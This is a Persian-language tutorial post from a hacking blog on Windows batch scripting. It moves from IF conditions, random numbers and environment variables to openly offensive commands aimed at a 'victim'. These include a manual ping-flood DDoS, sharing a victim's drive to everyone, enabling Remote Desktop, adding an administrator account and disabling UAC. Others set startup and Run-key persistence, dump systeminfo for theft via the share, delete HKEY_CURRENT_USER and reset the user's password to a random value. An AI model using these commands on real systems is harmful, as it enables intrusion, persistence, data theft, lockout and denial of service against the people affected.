به نام خدا
سلام عزیزان وب ویروس 32! امروز میخوام شرط ها توابع ها حلقه ها و چند دستوری که قبلا زیاد ندیدین رو بهتون آموزش بدم! حتما دقت کنید و تمرین کنید تا تو اینا مسلط بشید!! ویروس عزیز تو این پست یه سری دستور توضیح داده بود اما امروز میخوایم تخصصی حرف بزنیم!
این پست به صورت مشترک توسط اتریب و استاد اتکر ۳۲ نوشته شده است.
خب اول میریم سراغ شروط!! عزیزان شرط ها در بچ فایل ها خیلی آسونه! اول دستور IF رو میاریم و بهش آپشن اضافه میکنیم! دستور ایف(IF) در پچ فایل ها به سه صورت بررسی میشه!
اول مدل ERRORLEVEL می باشد! این مدل برای اینه که یه دستور خط قبل که اجرا شه، اگه خطا داد بهمون اطلاع بده! ساختارش رو در زیر مشاهده میکنید.
IF ERRORLEVEL 0 دستورات
در کد یک 0 میبینید به معنی اینه که اگر کد خطا بده قسمت دستورات رو اجرا کنه! اگه به جای 0 ، 1 بزارید یعنی اگه کد درست بود دستورات رو اجرا کن!
نکته : در بچ فایل شرط ها یک خطی اند
نکته : به جای دستورات باید کاری که میخواین شرط انجام بده رو بزارید
خب همون طور که گفتم این شرط برای بررسی خطا ها در خط قبل هست. تقریبا همون try خودمون هست. مثال زیر رو ببینید
ping virus32.blog.ir
if ERRORLEVEL 0 echo soltan nazasht ping begirim
if ERRORLEVEL 1 echo ping soltan ro gereftim!
به همین سادگی! بریم سراغ شرط بعدی یعنی شرط مطابق هم بودن دو متغیر((آموزش متغیر ها در این پست)) رو بهمون بگه! خیلی سادست عینه شرط قبله!
set /p virus32 = Soltan
if %virus32%==Soltan echo Doroste
به همین سادگی! میریم سراغ شرط موجود بودن یک فایل! اونم خیلی سادست از همین تکنیک پیروی میکنه ولی بجاش EXIST میزاره ساختارش رو ببینید
if EXIST D:\Virus32\Coder\Attacker\mohamad\Attib echo are in file mojode
به همین سادگی! راستی عزیزان میتونید در شرط هاتون بعد از if کلمه not بزارید به معنی اگه شرط خلافش بود! یعنی شرط برقرار نبود فلان کار رو کن!!
خب عزیزان میریم سراغ یه دستوری به اسم mod که تو اسمبلی هم هست! سایز پنجره مارو معلوم میکنه! بعد از خط اول میتونید اونو بزارید و جلوش یه سایز D: رو بدید مثل زیر
@echo off
mode 100
echo virus32
به همین سادگی! با دستور رندوم آشنا هستین! توضیح نمیدم تو پست های قبل وجود داره امروز میخوایم بهش رنج(Range) بدیم یعنی از فلان عدد بیشتر بهمون عدد نده باید جلوی %% و عدد مورد نظر بزارید مثل زیر
echo %random% %%10
کد بالا به من رندوم پایین تر از عدد 10 میده!
و کد زیر هم ببینید!
echo %random:~-1%این کد برای نمایش عدد رندوم یک رقمیه، اگه عدد 1 رو تغییر بدیم به 4، عدد چهار رقمی مینویسه، این حالت فقط تا عدد چهار رقمی صدق میکنه و برای رقم های بیشتر باید چند بار از این کد استفاده کرد، مثل زیر:
echo %random:~-4%%random:~-4%
خب میخوایم بریم سراغ دستور جذاب REG دستور کار با ریجیستری!!اول میریم سراغ حذف یک مقدار! یعنی یک مقدار تو یه آدرس رو حذف میکنیم یا زیر پوشه های یک آدرس. باید از دستور REG DELETE و جلوش آدرس یا مقدار مورد نظر بزاریم مثل زیر:
REG DELETE HKEY_CURRENT_USER
خب عزیزان میخوام یه چند تا متغیر ویندوزی بهتون بگم که با دستور echo میتونید ببینید یا تا بچ فایل هاتون استفاده کنید. متغیر ها رو باید درون دو تا ٪ فراخوانی کرد مثل
%system%
متغیر اول ما متغیر %systemdrive% می باشد که آدرس فایل ویندوزی ماست که میتونید تستش کنید.
متغیر دوم ما %userprofile% می باشد که مسیر فایل یوزر ماست.
متغیر سوم %username% که اسم یوزر رو به ما بر میگردونه.
متغیر چهارم 0% که البته فقط تو بچ فایل ها کاربرد داره در اصل متغیر تو خط فرمان بزنید خطا میده ولی تو بچ فایل کار میکنه! الان میفهمید چرا، این متغیر به معنی بچ فایلی است که دارید توش کد میزنید یعنی مثلا شما میزنید
start %0
یعنی خودش رو اجرا کنه، البته این کد رو تو سیستم خودتون اجرا نکنید ها مثال بود D:
با حمله دیداس آشنا هستین، اگه نیستین هم یه چرخی توو وب بزنین، اسکریپ ها و برنامه های زیادی برای حمله DDOS توو این وب قرار دادیم و به اندازه کافی راجبش گفتیم، کد زیر برای حمله دیداس به صورت دستیه:
Ping ip -t -l 800به جای ip باید آدرس آیپی قربانی رو وارد کنیم و به جای 800 هم مقدار پاگتی که برای این حمله در نظر دارین. هشدار! قبل از قصد حمله لطفا راجبش تحقیق کنین و کاملا متوجه بشین که حمله دیداس چه ضرر و مزایایی داره ممکنه درصورت ناآگاهی عواقب بدی براتون داشته باشه، پس یه چرخی توو وب بزنین...
Net share d=D /grant:everyone,fullبه جای D اسم درایوی که میخواین share کنین رو بنویسین. به جای everyone هم میتونین اسم سیستم خودتون رو بنویسین تا فقط خودتون توو شبکه به درایو های قربانی دسترسی داشته باشین. full هم سطح دسترسیه که میتونین تغییرش بدین حالا زیاد وارد جزئیات نشیم :/
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Net localgroup administrator virus /addبه جای virus هم که اسم یوزری که میخواین دسترسیش رو تغییر بدین رو بنویسین.
Taskkill /f /im virus.exeبه جای ویروس هم اسم برنامه مورد نظر و پسوند و فلان...
Taskkill /f /im explorer.exe
Netsh wlan show networks
netsh interface set interface "Wireless Network Connection" Disable
Systeminfoاین کد برای کش رفتن اطلاعات سیستم دیگران هم بدک نیست، مثلا با کد زیر میتونین اطلاعات سیستم رو توو یه فایل متنی ذخیره کنین:
systeminfo >>d:\virus.txtکه اطلاعات سیستم رو توو درایو d ذخیره میکنه، حالا میتونین با کد share کردن که بالا گفتم این اطلاعات رو کش برین D:
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /fبرای فعال کردن هم به جای 0 عدد 1 بزارین... البته رستارت فراموش نشه ;)
Attrib +h D:\virus32این کد دارای چند سویچ دیگری می باشد:
copy %0 "%userprofile%\Start Menu\Programs\Startup
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v %0 /d %0
Start "http://virus32.blog.ir"
call cmd.exeخب،حالا کد فعال کردن تلنت، اگه راجبش نمیدونین بازم یه چرخی توو وب بزنین:
Net start telnetخب تلنت رو استارت کردیم، حالا میخوایم چک کنیم چه پورتی از سیستم قربانی بازه که ازش شل بگیریم، برای اینکار از دستور زیر استفاده میکنیم:
Telnet ip portکه بجای ip، آدرس آیپی یارو و به جای پورت هم پورتی رو که میخوایم چک کنیم بازه یا بسته رو میزنیم و اگه باز بود میتونم از قربانی شل بگیریم( ینی به خط فرمانش نفوذ کنیم و کنترل سیستمش رو به دست بگیریم )
Ping -4 ipاگه به جای ۴ بنویسین ۶، آیپی ورژن ۶ رو نشون میده.
Ping 4.2.2.3شاید بخواین توو شبکه اسم یه سیستم رو به دست بیارین، برای اینکار باید از سویچ a استفاده کنین:
Ping -a ipحالا میخوایم مک آدرس یه سیستم رو به دست بیاریم، برای اینکار از دستور زیر با سویچ a استفاده می کنیم:
ARP -a ipخب حالا یه سورپرایز دارم براتون D:
telnet freechess.org
shutdown /m \\<computer_name>
net user %username% %random%این روش برای ویندوزای 8 به بالاهه، توو ویندوزای 7 به پایین احتمال زیاد این روش جواب نمیده، برای همین باید یه برنامه برای اینکار بنویسین، این پست رو یه نگاه بندازین خالی از لطف نیست ;)
Very Good 👍